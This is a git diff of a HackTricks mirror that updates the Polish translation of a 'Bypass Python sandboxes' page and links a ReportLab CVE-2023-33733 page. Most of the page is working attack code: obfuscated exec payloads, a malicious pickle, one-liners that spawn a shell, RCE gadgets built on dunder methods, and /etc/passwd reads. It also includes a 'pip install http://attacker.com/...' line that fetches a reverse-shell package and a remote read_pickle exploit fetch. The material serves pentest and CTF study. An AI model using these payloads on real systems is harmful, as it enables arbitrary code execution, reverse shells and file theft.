mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/bypass-pytho
This commit is contained in:
parent
31f0e96db7
commit
e12f3fe1c7
@ -70,6 +70,7 @@
|
|||||||
- [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
|
- [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
|
||||||
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
|
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
|
||||||
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
|
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
|
||||||
|
- [Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md)
|
||||||
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||||||
- [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
|
- [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
|
||||||
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)
|
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)
|
||||||
|
|||||||
@ -2,11 +2,11 @@
|
|||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
To są pewne sztuczki, aby obejść zabezpieczenia piaskownicy Pythona i wykonać dowolne polecenia.
|
Oto kilka trików pozwalających obejść zabezpieczenia Python sandbox i wykonać dowolne polecenia.
|
||||||
|
|
||||||
## Biblioteki do wykonywania poleceń
|
## Biblioteki do wykonywania poleceń
|
||||||
|
|
||||||
Pierwszą rzeczą, którą musisz wiedzieć, jest to, czy możesz bezpośrednio wykonać kod za pomocą już zaimportowanej biblioteki, lub czy możesz zaimportować którąkolwiek z tych bibliotek:
|
Pierwsza rzecz, którą musisz ustalić, to czy możesz bezpośrednio wykonać kod za pomocą jakiejś już zaimportowanej biblioteki, albo czy możesz zaimportować którąkolwiek z poniższych bibliotek:
|
||||||
```python
|
```python
|
||||||
os.system("ls")
|
os.system("ls")
|
||||||
os.popen("ls").read()
|
os.popen("ls").read()
|
||||||
@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
|
|||||||
execfile('/usr/lib/python2.7/os.py')
|
execfile('/usr/lib/python2.7/os.py')
|
||||||
system('ls')
|
system('ls')
|
||||||
```
|
```
|
||||||
Pamiętaj, że funkcje _**open**_ i _**read**_ mogą być przydatne do **czytania plików** wewnątrz piaskownicy Pythona oraz do **pisania kodu**, który możesz **wykonać**, aby **obejść** piaskownicę.
|
Pamiętaj, że funkcje _**open**_ i _**read**_ mogą być użyteczne do **odczytywania plików** wewnątrz python sandbox oraz do **napisania kodu**, który można **wykonać**, aby **obejść** sandbox.
|
||||||
|
|
||||||
> [!CAUTION] > Funkcja **input()** w Pythonie 2 pozwala na wykonywanie kodu Pythona przed awarią programu.
|
> [!CAUTION] > **Python2 input()** funkcja pozwala na wykonanie kodu python zanim program ulegnie awarii.
|
||||||
|
|
||||||
Python próbuje **ładować biblioteki z bieżącego katalogu jako pierwsze** (następujące polecenie wydrukuje, skąd Python ładuje moduły): `python3 -c 'import sys; print(sys.path)'`
|
Python próbuje **ładować biblioteki najpierw z bieżącego katalogu** (następujące polecenie wyświetli, skąd python ładuje moduły): `python3 -c 'import sys; print(sys.path)'`
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
## Obejście piaskownicy pickle za pomocą domyślnie zainstalowanych pakietów Pythona
|
## Bypass pickle sandbox with the default installed python packages
|
||||||
|
|
||||||
### Domyślne pakiety
|
### Domyślne pakiety
|
||||||
|
|
||||||
Możesz znaleźć **listę wstępnie zainstalowanych** pakietów tutaj: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
Listę **wstępnie zainstalowanych** pakietów znajdziesz tutaj: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||||
Zauważ, że z pickle możesz sprawić, że środowisko Pythona **zaimportuje dowolne biblioteki** zainstalowane w systemie.\
|
Zauważ, że z pickle możesz spowodować, że python env **import arbitrary libraries** zainstalowane w systemie.\
|
||||||
Na przykład, poniższy pickle, po załadowaniu, zaimportuje bibliotekę pip, aby jej użyć:
|
Na przykład, następujący pickle, po załadowaniu, zaimportuje bibliotekę pip, aby jej użyć:
|
||||||
```python
|
```python
|
||||||
#Note that here we are importing the pip library so the pickle is created correctly
|
#Note that here we are importing the pip library so the pickle is created correctly
|
||||||
#however, the victim doesn't even need to have the library installed to execute it
|
#however, the victim doesn't even need to have the library installed to execute it
|
||||||
@ -66,32 +66,32 @@ return (pip.main,(["list"],))
|
|||||||
|
|
||||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||||
```
|
```
|
||||||
Aby uzyskać więcej informacji na temat działania pickle, sprawdź to: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
Aby uzyskać więcej informacji o tym, jak działa pickle, zobacz: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||||
|
|
||||||
### Pakiet Pip
|
### Pip package
|
||||||
|
|
||||||
Sztuczka udostępniona przez **@isHaacK**
|
Sztuczka udostępniona przez **@isHaacK**
|
||||||
|
|
||||||
Jeśli masz dostęp do `pip` lub `pip.main()`, możesz zainstalować dowolny pakiet i uzyskać powłokę zwrotną, wywołując:
|
Jeśli masz dostęp do `pip` lub `pip.main()` możesz zainstalować dowolny pakiet i uzyskać reverse shell wywołując:
|
||||||
```bash
|
```bash
|
||||||
pip install http://attacker.com/Rerverse.tar.gz
|
pip install http://attacker.com/Rerverse.tar.gz
|
||||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||||
```
|
```
|
||||||
Możesz pobrać pakiet do stworzenia reverse shell tutaj. Proszę zauważyć, że przed użyciem powinieneś **rozpakować go, zmienić `setup.py` i wpisać swój adres IP dla reverse shell**:
|
Możesz pobrać pakiet do stworzenia reverse shell tutaj. Zwróć uwagę, że przed użyciem powinieneś **rozpakować go, zmodyfikować `setup.py` i wpisać swój IP dla reverse shell**:
|
||||||
|
|
||||||
{{#file}}
|
{{#file}}
|
||||||
Reverse.tar (1).gz
|
Reverse.tar (1).gz
|
||||||
{{#endfile}}
|
{{#endfile}}
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Ten pakiet nazywa się `Reverse`. Jednak został specjalnie stworzony tak, aby po wyjściu z reverse shell reszta instalacji zakończyła się niepowodzeniem, więc **nie zostawisz żadnego dodatkowego pakietu python na serwerze** po wyjściu.
|
> Ten pakiet nazywa się `Reverse`. Został jednak specjalnie przygotowany tak, że gdy zamkniesz reverse shell reszta instalacji się nie powiedzie, więc **nie zostawisz żadnego dodatkowego pakietu python zainstalowanego na serwerze** po odejściu.
|
||||||
|
|
||||||
## Eval-ing kodu python
|
## Używanie eval w pythonie
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Zauważ, że exec pozwala na wieloliniowe ciągi i ";", ale eval nie (sprawdź operator walrus)
|
> Zwróć uwagę, że exec pozwala na wieloliniowe stringi i ";", ale eval tego nie robi (sprawdź walrus operator)
|
||||||
|
|
||||||
Jeśli pewne znaki są zabronione, możesz użyć reprezentacji **hex/octal/B64** do **obejścia** ograniczenia:
|
Jeśli niektóre znaki są zabronione, możesz użyć reprezentacji **hex/octal/B64**, aby **bypass** ograniczenia:
|
||||||
```python
|
```python
|
||||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||||
@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
|||||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||||
```
|
```
|
||||||
### Inne biblioteki, które pozwalają na eval kodu python
|
### Inne biblioteki, które umożliwiają eval kodu python
|
||||||
```python
|
```python
|
||||||
#Pandas
|
#Pandas
|
||||||
import pandas as pd
|
import pandas as pd
|
||||||
@ -126,7 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
|||||||
# Like:
|
# Like:
|
||||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||||
```
|
```
|
||||||
## Operatory i krótkie sztuczki
|
Zobacz także rzeczywisty przypadek sandboxed evaluator escape w generatorach PDF:
|
||||||
|
|
||||||
|
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Wykorzystuje rl_safe_eval, aby dostać się do function.__globals__ i os.system z ocenianych atrybutów (na przykład kolor czcionki) i zwraca prawidłową wartość, aby renderowanie pozostało stabilne.
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
## Operatory i szybkie sztuczki
|
||||||
```python
|
```python
|
||||||
# walrus operator allows generating variable inside a list
|
# walrus operator allows generating variable inside a list
|
||||||
## everything will be executed in order
|
## everything will be executed in order
|
||||||
@ -135,9 +143,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
|||||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||||
```
|
```
|
||||||
## Obejście zabezpieczeń za pomocą kodowania (UTF-7)
|
## Omijanie zabezpieczeń przez kodowania (UTF-7)
|
||||||
|
|
||||||
W [**tym opisie**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 jest używane do ładowania i wykonywania dowolnego kodu python w pozornym piaskownicy:
|
W [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 jest używany do załadowania i uruchomienia dowolnego kodu python wewnątrz pozornego sandboxa:
|
||||||
```python
|
```python
|
||||||
assert b"+AAo-".decode("utf_7") == "\n"
|
assert b"+AAo-".decode("utf_7") == "\n"
|
||||||
|
|
||||||
@ -148,13 +156,13 @@ return x
|
|||||||
#+AAo-print(open("/flag.txt").read())
|
#+AAo-print(open("/flag.txt").read())
|
||||||
""".lstrip()
|
""".lstrip()
|
||||||
```
|
```
|
||||||
Możliwe jest również ominięcie tego za pomocą innych kodowań, np. `raw_unicode_escape` i `unicode_escape`.
|
Można go również obejść, używając innych kodowań, np. `raw_unicode_escape` i `unicode_escape`.
|
||||||
|
|
||||||
## Wykonanie Pythona bez wywołań
|
## Wykonywanie w Pythonie bez wywołań
|
||||||
|
|
||||||
Jeśli jesteś w pułapce Pythona, która **nie pozwala na wywołania**, wciąż istnieją sposoby na **wykonanie dowolnych funkcji, kodu** i **poleceń**.
|
Jeśli znajdujesz się w python jail, który **nie pozwala na wykonywanie wywołań**, nadal istnieją sposoby na **uruchamianie dowolnych funkcji, kodu** i **poleceń**.
|
||||||
|
|
||||||
### RCE z [dekoratorami](https://docs.python.org/3/glossary.html#term-decorator)
|
### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
||||||
```python
|
```python
|
||||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||||
@exec
|
@exec
|
||||||
@ -176,13 +184,13 @@ X = exec(X)
|
|||||||
@'__import__("os").system("sh")'.format
|
@'__import__("os").system("sh")'.format
|
||||||
class _:pass
|
class _:pass
|
||||||
```
|
```
|
||||||
### RCE tworzenie obiektów i przeciążanie
|
### RCE creating objects and overloading
|
||||||
|
|
||||||
Jeśli możesz **zadeklarować klasę** i **utworzyć obiekt** tej klasy, możesz **zapisać/przeciążyć różne metody**, które mogą być **wywoływane** **bez** **konieczności ich bezpośredniego wywoływania**.
|
Jeśli możesz **declare a class** i **create an object** tej klasy, możesz **write/overwrite different methods**, które mogą zostać **triggered** **without** **needing to call them directly**.
|
||||||
|
|
||||||
#### RCE z niestandardowymi klasami
|
#### RCE with custom classes
|
||||||
|
|
||||||
Możesz modyfikować niektóre **metody klas** (_przez przeciążenie istniejących metod klas lub tworzenie nowej klasy_), aby sprawić, że będą **wykonywać dowolny kod** po **wywołaniu** bez bezpośredniego ich wywoływania.
|
Możesz zmodyfikować niektóre **class methods** (_by overwriting existing class methods or creating a new class_) tak, aby **execute arbitrary code** gdy zostaną **triggered** bez wywoływania ich bezpośrednio.
|
||||||
```python
|
```python
|
||||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||||
class RCE:
|
class RCE:
|
||||||
@ -232,9 +240,9 @@ __iand__ (k = 'import os; os.system("sh")')
|
|||||||
__ior__ (k |= 'import os; os.system("sh")')
|
__ior__ (k |= 'import os; os.system("sh")')
|
||||||
__ixor__ (k ^= 'import os; os.system("sh")')
|
__ixor__ (k ^= 'import os; os.system("sh")')
|
||||||
```
|
```
|
||||||
#### Tworzenie obiektów za pomocą [metaklas](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
#### Tworzenie obiektów z [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||||
|
|
||||||
Kluczową rzeczą, którą metaklasy pozwalają nam zrobić, jest **utworzenie instancji klasy, bez bezpośredniego wywoływania konstruktora**, poprzez stworzenie nowej klasy z docelową klasą jako metaklasą.
|
Najważniejsze, co umożliwiają metaclasses, to **utworzenie instancji klasy bez bezpośredniego wywoływania konstruktora**, poprzez stworzenie nowej klasy, która używa docelowej klasy jako metaclass.
|
||||||
```python
|
```python
|
||||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||||
# This will define the members of the "subclass"
|
# This will define the members of the "subclass"
|
||||||
@ -249,9 +257,9 @@ Sub['import os; os.system("sh")']
|
|||||||
|
|
||||||
## You can also use the tricks from the previous section to get RCE with this object
|
## You can also use the tricks from the previous section to get RCE with this object
|
||||||
```
|
```
|
||||||
#### Tworzenie obiektów z wyjątkami
|
#### Tworzenie obiektów za pomocą wyjątków
|
||||||
|
|
||||||
Gdy **wyjątek jest wywoływany**, obiekt **Exception** jest **tworzony** bez potrzeby bezpośredniego wywoływania konstruktora (sztuczka od [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
Gdy **wyjątek zostanie wywołany**, obiekt klasy **Exception** jest **tworzony** bez potrzeby wywoływania konstruktora bezpośrednio (sztuczka od [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||||
```python
|
```python
|
||||||
class RCE(Exception):
|
class RCE(Exception):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
@ -293,7 +301,7 @@ __iadd__ = eval
|
|||||||
__builtins__.__import__ = X
|
__builtins__.__import__ = X
|
||||||
{}[1337]
|
{}[1337]
|
||||||
```
|
```
|
||||||
### Przeczytaj plik z pomocą i licencją builtins
|
### Przeczytaj plik z pomocą builtins i licencją
|
||||||
```python
|
```python
|
||||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||||
a = __builtins__.help
|
a = __builtins__.help
|
||||||
@ -302,22 +310,22 @@ a.__class__.__exit__ = lambda self, *args: None
|
|||||||
with (a as b):
|
with (a as b):
|
||||||
pass
|
pass
|
||||||
```
|
```
|
||||||
## Builtins
|
## Wbudowane
|
||||||
|
|
||||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||||
|
|
||||||
Jeśli masz dostęp do obiektu **`__builtins__`**, możesz importować biblioteki (zauważ, że możesz również użyć tutaj innej reprezentacji ciągu pokazanej w ostatniej sekcji):
|
Jeśli masz dostęp do obiektu **`__builtins__`** możesz zaimportować biblioteki (zauważ, że możesz tu również użyć innych reprezentacji tekstowych pokazanych w ostatniej sekcji):
|
||||||
```python
|
```python
|
||||||
__builtins__.__import__("os").system("ls")
|
__builtins__.__import__("os").system("ls")
|
||||||
__builtins__.__dict__['__import__']("os").system("ls")
|
__builtins__.__dict__['__import__']("os").system("ls")
|
||||||
```
|
```
|
||||||
### Brak Wbudowanych
|
### Brak Builtins
|
||||||
|
|
||||||
Kiedy nie masz `__builtins__`, nie będziesz w stanie zaimportować niczego ani nawet czytać lub pisać plików, ponieważ **wszystkie funkcje globalne** (jak `open`, `import`, `print`...) **nie są załadowane**.\
|
Gdy nie masz `__builtins__` nie będziesz w stanie importować niczego ani nawet czytać czy zapisywać plików, ponieważ **wszystkie funkcje globalne** (jak `open`, `import`, `print`...) **nie są załadowane**.\
|
||||||
Jednak **domyślnie python ładuje wiele modułów do pamięci**. Te moduły mogą wydawać się nieszkodliwe, ale niektóre z nich **również importują niebezpieczne** funkcjonalności, które można wykorzystać do uzyskania **dowolnego wykonania kodu**.
|
Jednakże, **domyślnie python importuje do pamięci wiele modułów**. Te moduły mogą wydawać się nieszkodliwe, ale niektóre z nich **również importują niebezpieczne** funkcjonalności wewnątrz siebie, do których można uzyskać dostęp, by osiągnąć nawet **arbitrary code execution**.
|
||||||
|
|
||||||
W poniższych przykładach możesz zobaczyć, jak **wykorzystać** niektóre z tych "**nieszkodliwych**" modułów załadowanych do **dostępu** do **niebezpiecznych** **funkcjonalności** wewnątrz nich.
|
W poniższych przykładach możesz zobaczyć, jak można **nadużyć** niektórych z tych "**benign**" załadowanych modułów, aby **uzyskać dostęp** do **niebezpiecznych** **funkcjonalności** w ich wnętrzu.
|
||||||
|
|
||||||
**Python2**
|
**Python2**
|
||||||
```python
|
```python
|
||||||
@ -359,15 +367,15 @@ get_flag.__globals__['__builtins__']
|
|||||||
# Get builtins from loaded classes
|
# Get builtins from loaded classes
|
||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||||
```
|
```
|
||||||
[**Poniżej znajduje się większa funkcja**](#recursive-search-of-builtins-globals) do znalezienia dziesiątek/**setek** **miejsc**, w których możesz znaleźć **builtins**.
|
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) aby znaleźć dziesiątki/**setki** **miejsc**, w których możesz znaleźć **builtins**.
|
||||||
|
|
||||||
#### Python2 i Python3
|
#### Python2 and Python3
|
||||||
```python
|
```python
|
||||||
# Recover __builtins__ and make everything easier
|
# Recover __builtins__ and make everything easier
|
||||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||||
__builtins__["__import__"]('os').system('ls')
|
__builtins__["__import__"]('os').system('ls')
|
||||||
```
|
```
|
||||||
### Wbudowane ładunki
|
### Builtins payloads
|
||||||
```python
|
```python
|
||||||
# Possible payloads once you have found the builtins
|
# Possible payloads once you have found the builtins
|
||||||
__builtins__["open"]("/etc/passwd").read()
|
__builtins__["open"]("/etc/passwd").read()
|
||||||
@ -375,9 +383,9 @@ __builtins__["__import__"]("os").system("ls")
|
|||||||
# There are lots of other payloads that can be abused to execute commands
|
# There are lots of other payloads that can be abused to execute commands
|
||||||
# See them below
|
# See them below
|
||||||
```
|
```
|
||||||
## Globals and locals
|
## Globals i locals
|
||||||
|
|
||||||
Sprawdzanie **`globals`** i **`locals`** to dobry sposób, aby dowiedzieć się, do czego masz dostęp.
|
Sprawdzenie **`globals`** i **`locals`** to dobry sposób, aby dowiedzieć się, do czego masz dostęp.
|
||||||
```python
|
```python
|
||||||
>>> globals()
|
>>> globals()
|
||||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||||
@ -401,15 +409,15 @@ class_obj.__init__.__globals__
|
|||||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||||
```
|
```
|
||||||
[**Poniżej znajduje się większa funkcja**](#recursive-search-of-builtins-globals) do znalezienia dziesiątek/**setek** **miejsc**, w których można znaleźć **globals**.
|
[**Poniżej znajduje się większa funkcja**](#recursive-search-of-builtins-globals) do znalezienia dziesiątek/**setek** **miejsc**, w których możesz znaleźć **globals**.
|
||||||
|
|
||||||
## Odkrywanie dowolnej egzekucji
|
## Odkrywanie możliwości wykonania dowolnego kodu
|
||||||
|
|
||||||
Tutaj chcę wyjaśnić, jak łatwo odkryć **bardziej niebezpieczne funkcjonalności załadowane** i zaproponować bardziej niezawodne exploity.
|
Tutaj chcę wyjaśnić, jak łatwo odkryć **bardziej niebezpieczne załadowane funkcjonalności** i zaproponować bardziej niezawodne exploits.
|
||||||
|
|
||||||
#### Uzyskiwanie dostępu do podklas z obejściami
|
#### Dostęp do subclasses z bypasses
|
||||||
|
|
||||||
Jedną z najbardziej wrażliwych części tej techniki jest możliwość **uzyskania dostępu do podstawowych podklas**. W poprzednich przykładach zrobiono to za pomocą `''.__class__.__base__.__subclasses__()`, ale istnieją **inne możliwe sposoby**:
|
Jednym z najbardziej wrażliwych elementów tej techniki jest możliwość **dostępu do base subclasses**. W poprzednich przykładach zrobiono to używając `''.__class__.__base__.__subclasses__()` ale istnieją **inne możliwe sposoby**:
|
||||||
```python
|
```python
|
||||||
#You can access the base from mostly anywhere (in regular conditions)
|
#You can access the base from mostly anywhere (in regular conditions)
|
||||||
"".__class__.__base__.__subclasses__()
|
"".__class__.__base__.__subclasses__()
|
||||||
